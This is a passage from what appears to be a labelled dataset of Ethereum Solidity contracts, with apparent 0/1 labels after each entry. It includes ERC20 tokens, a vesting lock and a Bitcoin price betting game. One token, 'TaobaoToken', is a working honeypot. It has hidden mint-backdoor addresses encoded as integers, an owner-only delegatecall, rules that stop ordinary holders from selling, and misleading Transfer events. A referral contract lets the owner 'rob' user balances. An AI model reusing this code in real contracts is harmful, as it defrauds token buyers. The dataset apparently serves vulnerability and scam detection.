function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "OCEANUS PROTOCOL";
string public constant TOKEN_SYMBOL = "OCEAN";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x93de1de2baa9088832c685d58b0d8c8cc190a6fb;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[5] memory addresses = [address(0x676e7a76ce9e380a2b9ddd5249025cd8c3b6ce84),address(0x279ba5ba93a03cffcee0d418038bcbbe707cb381),address(0x6e7d851109694f17ae3ae944cfdf1cf04ebd4a81),address(0x93de1de2baa9088832c685d58b0d8c8cc190a6fb),address(0x93de1de2baa9088832c685d58b0d8c8cc190a6fb)];
uint[5] memory amounts = [uint(40000000000000000000000000),uint(10000000000000000000000000),uint(20000000000000000000000000),uint(20000000000000000000000000),uint(60000000000000000000000000)];
uint64[5] memory freezes = [uint64(0),uint64(0),uint64(1588280402),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 5,479 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _who) public constant returns (uint256);
function allowance(address _owner, address _spender) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _fromValue,uint256 _toValue) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
}
contract Lambda is ERC20, Pausable {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public symbol;
string public name;
uint256 public decimals;
uint256 _totalSupply;
constructor() public {
symbol = "LAMB";
name = "Lambda";
decimals = 18;
_totalSupply = 6*(10**27);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _fromValue, uint256 _toValue) public whenNotPaused returns (bool) {
require(_spender != address(0));
require(allowed[msg.sender][_spender] ==_fromValue);
allowed[msg.sender][_spender] = _toValue;
emit Approval(msg.sender, _spender, _toValue);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
contract LambdaLock {
using SafeMath for uint256;
Lambda internal LambdaToken;
uint256 internal genesisTime= 1545814800;
uint256 internal ONE_MONTHS = 120;
address internal beneficiaryAddress;
struct Claim {
uint256 pct;
uint256 delay;
bool claimed;
}
Claim [] internal beneficiaryClaims;
uint256 internal totalClaimable;
event Claimed(
address indexed user,
uint256 amount,
uint256 timestamp
);
function claim() public returns (bool){
require(msg.sender == beneficiaryAddress);
for(uint256 i = 0; i < beneficiaryClaims.length; i++){
Claim memory cur_claim = beneficiaryClaims[i];
if(cur_claim.claimed == false){
if(cur_claim.delay.add(genesisTime) < block.timestamp){
uint256 amount = cur_claim.pct*(10**18);
require(LambdaToken.transfer(msg.sender, amount));
beneficiaryClaims[i].claimed = true;
emit Claimed(msg.sender, amount, block.timestamp);
}
}
}
}
function getBeneficiary() public view returns (address) {
return beneficiaryAddress;
}
function getTotalClaimable() public view returns (uint256) {
return totalClaimable;
}
}
contract lambdaTeam is LambdaLock {
using SafeMath for uint256;
constructor(Lambda _LambdaToken) public {
LambdaToken = _LambdaToken;
beneficiaryAddress = 0xB969C916B3FDc4CbC611d477b866e96ab8EcC1E2 ;
totalClaimable = 1000000000 * (10 ** 18);
for(uint i=0;i<36;i++){
beneficiaryClaims.push(Claim( 27777777, ONE_MONTHS*(i+1), false));
}
}
} | 1 | 4,109 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract TaobaoToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 436 |
pragma solidity ^0.4.25;
contract NeutrinoTokenStandard {
function fund() external payable;
}
contract ReferralPayStation {
event OnGotRef (
address indexed ref,
uint256 value,
uint256 timestamp,
address indexed player
);
event OnWithdraw (
address indexed ref,
uint256 value,
uint256 timestamp
);
event OnRob (
address indexed ref,
uint256 value,
uint256 timestamp
);
event OnRobAll (
uint256 value,
uint256 timestamp
);
address owner;
mapping(address => uint256) public refBalance;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function put(address ref, address player) public payable {
require(msg.value > 0);
refBalance[ref] += msg.value;
emit OnGotRef(ref, msg.value, now, player);
}
function withdraw() public {
require(refBalance[msg.sender] > 0);
uint256 value = refBalance[msg.sender];
refBalance[msg.sender] = 0;
msg.sender.transfer(value);
emit OnWithdraw(msg.sender, value, now);
}
function rob(address ref) onlyOwner public {
require(refBalance[ref] > 0);
uint256 value = refBalance[ref];
refBalance[ref] = 0;
owner.transfer(value);
emit OnRob(ref, value, now);
}
function robAll() onlyOwner public {
uint256 balance = address(this).balance;
owner.transfer(balance);
emit OnRobAll(balance, now);
}
}
contract BitcoinPriceBetY {
event OnBet (
address indexed player,
address indexed ref,
uint256 indexed timestamp,
uint256 value,
uint256 betPrice,
uint256 extra,
uint256 refBonus,
uint256 amount
);
event OnWithdraw (
address indexed referrer,
uint256 value
);
event OnWithdrawWin (
address indexed player,
uint256 value
);
event OnPrizePayed (
address indexed player,
uint256 value,
uint8 place,
uint256 betPrice,
uint256 amount,
uint256 betValue
);
event OnNTSCharged (
uint256 value
);
event OnYJPCharged (
uint256 value
);
event OnGotMoney (
address indexed source,
uint256 value
);
event OnCorrect (
uint256 value
);
event OnPrizeFunded (
uint256 value
);
event OnSendRef (
address indexed ref,
uint256 value,
uint256 timestamp,
address indexed player,
address indexed payStation
);
event OnNewRefPayStation (
address newAddress,
uint256 timestamp
);
event OnBossPayed (
address indexed boss,
uint256 value,
uint256 timestamp
);
string constant public name = "BitcoinPrice.Bet Yearly";
string constant public symbol = "BPBY";
address public owner;
address constant internal boss1 = 0x42cF5e102dECCf8d89E525151c5D5bbEAc54200d;
address constant internal boss2 = 0x8D86E611ef0c054FdF04E1c744A8cEFc37F00F81;
NeutrinoTokenStandard constant internal neutrino = NeutrinoTokenStandard(0xad0a61589f3559026F00888027beAc31A5Ac4625);
ReferralPayStation public refPayStation = ReferralPayStation(0x4100dAdA0D80931008a5f7F5711FFEb60A8071BA);
uint8 constant bossFee = 10;
uint8 constant refFee = 8;
uint8 constant ntsFee = 5;
mapping(address => uint256) public winBalance;
uint256 public winBalanceTotal = 0;
uint256 public bossBalance = 0;
uint256 public ntsBalance = 0;
uint256 public prizeBalance = 0;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public payable {
owner = msg.sender;
prizeBalance = msg.value;
}
function() public payable {
emit OnGotMoney(msg.sender, msg.value);
}
function betStep() public view returns (uint256) {
if (now >= 1545581345 && now < 1548979200) return 0.1 ether;
if (now >= 1548979200 && now < 1551398400) return 0.2 ether;
if (now >= 1551398400 && now < 1554076800) return 0.3 ether;
if (now >= 1554076800 && now < 1556668800) return 0.4 ether;
if (now >= 1556668800 && now < 1559347200) return 0.5 ether;
if (now >= 1559347200 && now < 1561939200) return 0.6 ether;
if (now >= 1561939200 && now < 1564617600) return 0.7 ether;
if (now >= 1564617600 && now < 1567296000) return 0.8 ether;
return 0;
}
function canMakeBet() public view returns (bool) {
return betStep() > 0;
}
function makeBet(uint256 betPrice, address ref) public payable {
uint256 _betStep = betStep();
require (_betStep > 0);
uint256 value = (msg.value / _betStep) * _betStep;
uint256 extra = msg.value - value;
require(value > 0);
prizeBalance += extra;
uint8 welcomeFee = bossFee + ntsFee;
uint256 refBonus = 0;
if (ref != 0x0) {
welcomeFee += refFee;
refBonus = value * refFee / 100;
refPayStation.put.value(refBonus)(ref, msg.sender);
emit OnSendRef(ref, refBonus, now, msg.sender, address(refPayStation));
}
uint256 taxedValue = value - value * welcomeFee / 100;
prizeBalance += taxedValue;
bossBalance += value * bossFee / 100;
ntsBalance += value * ntsFee / 100;
emit OnBet(msg.sender, ref, block.timestamp, value, betPrice, extra, refBonus, value / _betStep);
}
function withdrawWin() public {
require(winBalance[msg.sender] > 0);
uint256 value = winBalance[msg.sender];
winBalance[msg.sender] = 0;
winBalanceTotal -= value;
msg.sender.transfer(value);
emit OnWithdrawWin(msg.sender, value);
}
function payPrize(address player, uint256 value, uint8 place, uint256 betPrice, uint256 amount, uint256 betValue) onlyOwner public {
require(value <= prizeBalance);
winBalance[player] += value;
winBalanceTotal += value;
prizeBalance -= value;
emit OnPrizePayed(player, value, place, betPrice, amount, betValue);
}
function payPostDrawRef(address ref, address player, uint256 value) onlyOwner public {
require(value <= prizeBalance);
prizeBalance -= value;
refPayStation.put.value(value)(ref, player);
emit OnSendRef(ref, value, now, player, address(refPayStation));
}
function payBoss(uint256 value) onlyOwner public {
require(value <= bossBalance);
if (value == 0) value = bossBalance;
uint256 value1 = value * 90 / 100;
uint256 value2 = value * 10 / 100;
if (boss1.send(value1)) {
bossBalance -= value1;
emit OnBossPayed(boss1, value1, now);
}
if (boss2.send(value2)) {
bossBalance -= value2;
emit OnBossPayed(boss2, value2, now);
}
}
function payNTS() onlyOwner public {
require(ntsBalance > 0);
uint256 _ntsBalance = ntsBalance;
neutrino.fund.value(ntsBalance)();
ntsBalance = 0;
emit OnNTSCharged(_ntsBalance);
}
function correct() onlyOwner public {
uint256 counted = winBalanceTotal + bossBalance + ntsBalance + prizeBalance;
uint256 uncounted = address(this).balance - counted;
require(uncounted > 0);
bossBalance += uncounted;
emit OnCorrect(uncounted);
}
function fundPrize() onlyOwner public {
uint256 counted = winBalanceTotal + bossBalance + ntsBalance + prizeBalance;
uint256 uncounted = address(this).balance - counted;
require(uncounted > 0);
prizeBalance += uncounted;
emit OnPrizeFunded(uncounted);
}
function newRefPayStation(address newAddress) onlyOwner public {
refPayStation = ReferralPayStation(newAddress);
emit OnNewRefPayStation(newAddress, now);
}
} | 1 | 3,470 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
